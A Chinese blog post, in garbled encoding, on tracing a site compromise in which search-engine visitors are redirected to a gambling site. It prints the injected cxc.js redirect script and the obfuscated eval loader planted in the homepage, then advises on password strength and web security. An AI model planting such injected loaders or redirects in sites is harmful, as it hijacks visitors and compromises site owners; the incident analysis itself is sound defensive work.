記一次站點被掛馬問題排查


起因侈净,在下班準(zhǔn)備回家之際,收到幾條朋友發(fā)來的信息归苍,說他的網(wǎng)站在百度搜索做信息流廣告推廣用狱,但是從百度搜索點擊打開就會跳轉(zhuǎn)的博彩網(wǎng)站,讓我?guī)兔ε挪橄聠栴}拼弃,是不是被掛馬了夏伊,于是乎就開始了后面的故事


為了保護(hù)網(wǎng)站隱私,假定網(wǎng)站地址是:http://www.xxx.com

收到消息后我嘗試操作并收集到下面現(xiàn)象內(nèi)容:

現(xiàn)象1:通過域名直接打開網(wǎng)站吻氧,可以正常打開溺忧,不會跳轉(zhuǎn)到博彩站
現(xiàn)象2:通過百度/搜狗搜索引擎,搜索到網(wǎng)站后點擊打開就會跳轉(zhuǎn)到博彩站


開始排查

  • 網(wǎng)站是怎么跳轉(zhuǎn)的盯孙?

網(wǎng)站跳轉(zhuǎn)無非就是這兩種:服務(wù)端重定向跳轉(zhuǎn)/前端JS觸發(fā)跳轉(zhuǎn)鲁森,我開始用Charles抓包,列出抓包請求發(fā)起順序大概是這樣的(省略無關(guān)的請求):

  1. http://www.xxx.com
  2. https://www.cpdas8.com/cxc.js
  3. https://www.das8cx.com/ [博彩站]

先打開站點www.xxx.com返回Code=200振惰,不是服務(wù)端重定向Code=302歌溉,是由前端發(fā)起跳轉(zhuǎn),并且注意到:cxc.js骑晶,請求頭Referer=www.xxx.com痛垛,這個并非站點前端開發(fā)需要引入的腳本,打開地址看代碼如下:


(function () {
    /*百度推送代碼*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代碼*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<script src="' + src + '" id="sozz"><\/script>');
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://www.das8cx.com/\";");
document.writeln("</script>");

看代碼就知道抓到了元兇桶蛔,這里執(zhí)行了location.href到博彩站匙头,但是看主頁html源碼里并沒有cxc.js的引入,繼續(xù)后面的排查


  • cxc.js是如何在主頁里引入的仔雷?

帶著這個疑問蹂析,打開了首頁源碼舔示,大概過了下,沒有發(fā)現(xiàn)引入腳本的地方电抚,就開始懷疑是不是動態(tài)引入的惕稻,再次查看源碼,看到一段被混淆加密壓縮過代碼:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\d\\e\\1\\m\\j\\8\\n\\0"]["\\6\\4\\9\\0\\8"](\'\\i\\2\\1\\4\\9\\3\\0 \\0\\k\\3\\8\\c\\7\\0\\8\\h\\0\\5\\f\\b\\q\\b\\2\\1\\4\\9\\3\\0\\7 \\2\\4\\1\\c\\7\\o\\0\\0\\3\\2\\p\\5\\5\\6\\6\\6\\a\\1\\3\\d\\b\\2\\r\\a\\1\\e\\j\\5\\1\\h\\1\\a\\f\\2\\7\\g\\i\\5\\2\\1\\4\\9\\3\\0\\g\');',28,28,'x74|x63|x73|x70|x72|x2f|x77|x22|x65|x69|x2e|x61|x3d|x64|x6f|x6a|x3e|x78|x3c|x6d|x79|window|x75|x6e|x68|x3a|x76|x38'.split('|'),0,{}))

感覺事蹊蹺喻频,不管三七二十一先到谷歌開發(fā)者工具控制臺里執(zhí)行看看缩宜,截取重要提示信息:

A parser-blocking, cross site (i.e. different eTLD+1) script,https://www.cpdas8.com/cxc.js, is invoked via document.write

image

明了了,就是這段腳本把cxc.js動態(tài)的引入到站點里甥温,現(xiàn)在跳轉(zhuǎn)的原因是找到了锻煌,但是為啥會好端端的多了這段代碼,繼續(xù)后面的分析


  • 為什么主頁源碼會被篡改加入了一段腳本呢姻蚓?

站點是通過阿里云服務(wù)器的虛擬空間進(jìn)行部署的宋梧,服務(wù)器本身應(yīng)該沒有問題
目前猜測有兩種可能性:

  1. FTP暴力破解,成功連接上FTP后進(jìn)行篡改
  2. 站點安全漏洞狰挡,被上傳了木馬程序后被執(zhí)行捂龄,篡改了源碼

后面問了下FTP密碼是設(shè)置的挺簡單的,所以評估可能是FTP暴力破解導(dǎo)致加叁,細(xì)思極恐


番外倦沧,里面還有段篡改SEO關(guān)鍵詞代碼,這里也需要去掉:
篡改了keyword/description/title

image


問題總結(jié):

通過抓包和代碼分析可以知道跳轉(zhuǎn)到博彩站的流程是這樣的:

  1. 打開首頁它匕,腳本執(zhí)行了evel(混淆加密壓縮)展融,動態(tài)引入cxc.js
  2. 引入的cxc.js里執(zhí)行了(function (){/* 跳轉(zhuǎn)邏輯 */})(),如果站點referrer是搜索引擎過來的就跳轉(zhuǎn)到博彩站豫柬,不是就不做跳轉(zhuǎn)直接正常打開站點
  3. 知道原理后就很清晰明白上面現(xiàn)象的原因告希,并且可以很清楚的怎么去修復(fù)

站點源碼被侵入篡改問題:

  • 站點的開發(fā)需要注意WEB安全問題,文件上傳漏洞烧给,腳本注入燕偶,SQL注入,跨站攻擊础嫡,等
  • 站點的服務(wù)器/FTP/后臺賬號密碼指么,不要設(shè)置的太隨意,要有一定的復(fù)雜度榴鼎,不然很容易被暴力破解

輔助手段-網(wǎng)站安全檢測:


閱讀原文地址

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末涧尿,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子檬贰,更是在濱河造成了極大的恐慌,老刑警劉巖缺亮,帶你破解...
    沈念sama閱讀 218,122評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件翁涤,死亡現(xiàn)場離奇詭異桥言,居然都是意外死亡,警方通過查閱死者的電腦和手機葵礼,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,070評論 3 395
  • 文/潘曉璐 我一進(jìn)店門号阿,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人鸳粉,你說我怎么就攤上這事扔涧。” “怎么了届谈?”我有些...
    開封第一講書人閱讀 164,491評論 0 354
  • 文/不壞的土叔 我叫張陵枯夜,是天一觀的道長。 經(jīng)常有香客問我艰山,道長湖雹,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,636評論 1 293
  • 正文 為了忘掉前任曙搬,我火速辦了婚禮摔吏,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘纵装。我一直安慰自己征讲,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 67,676評論 6 392
  • 文/花漫 我一把揭開白布橡娄。 她就那樣靜靜地躺著诗箍,像睡著了一般。 火紅的嫁衣襯著肌膚如雪瀑踢。 梳的紋絲不亂的頭發(fā)上扳还,一...
    開封第一講書人閱讀 51,541評論 1 305
  • 那天,我揣著相機與錄音橱夭,去河邊找鬼氨距。 笑死,一個胖子當(dāng)著我的面吹牛棘劣,可吹牛的內(nèi)容都是我干的俏让。 我是一名探鬼主播,決...
    沈念sama閱讀 40,292評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼茬暇,長吁一口氣:“原來是場噩夢啊……” “哼首昔!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起糙俗,我...
    開封第一講書人閱讀 39,211評論 0 276
  • 序言:老撾萬榮一對情侶失蹤勒奇,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后巧骚,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體赊颠,經(jīng)...
    沈念sama閱讀 45,655評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡格二,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,846評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了竣蹦。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片顶猜。...
    茶點故事閱讀 39,965評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖痘括,靈堂內(nèi)的尸體忽然破棺而出长窄,到底是詐尸還是另有隱情,我是刑警寧澤纲菌,帶...
    沈念sama閱讀 35,684評論 5 347
  • 正文 年R本政府宣布挠日,位于F島的核電站,受9級特大地震影響驰后,放射性物質(zhì)發(fā)生泄漏肆资。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,295評論 3 329
  • 文/蒙蒙 一灶芝、第九天 我趴在偏房一處隱蔽的房頂上張望郑原。 院中可真熱鬧,春花似錦夜涕、人聲如沸犯犁。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,894評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽酸役。三九已至,卻和暖如春驾胆,著一層夾襖步出監(jiān)牢的瞬間涣澡,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,012評論 1 269
  • 我被黑心中介騙來泰國打工丧诺, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留入桂,地道東北人。 一個月前我還...
    沈念sama閱讀 48,126評論 3 370
  • 正文 我出身青樓驳阎,卻偏偏與公主長得像抗愁,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子呵晚,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,914評論 2 355

推薦閱讀更多精彩內(nèi)容

  • 用兩張圖告訴你蜘腌,為什么你的 App 會卡頓? - Android - 掘金 Cover 有什么料? 從這篇文章中你...
    hw1212閱讀 12,724評論 2 59
  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,133評論 25 707
  • 1饵隙、通過CocoaPods安裝項目名稱項目信息 AFNetworking網(wǎng)絡(luò)請求組件 FMDB本地數(shù)據(jù)庫組件 SD...
    陽明先生_X自主閱讀 15,981評論 3 119
  • 2017年9月17日如是家人溫玲撮珠,種種子第48天 發(fā)心:我今不是為了我個人而聞思修,而是為了六道輪回一切如母有情眾...
    溫馨霏玲閱讀 139評論 2 3
  • 愛自己金矛,還得下決心芯急。 作為女人倘潜,從來不會打扮,生活湊湊合合志于,不講質(zhì)量, 偶爾受了委屈废睦,才發(fā)現(xiàn)自己把...
    白楊的心雨閱讀 298評論 1 2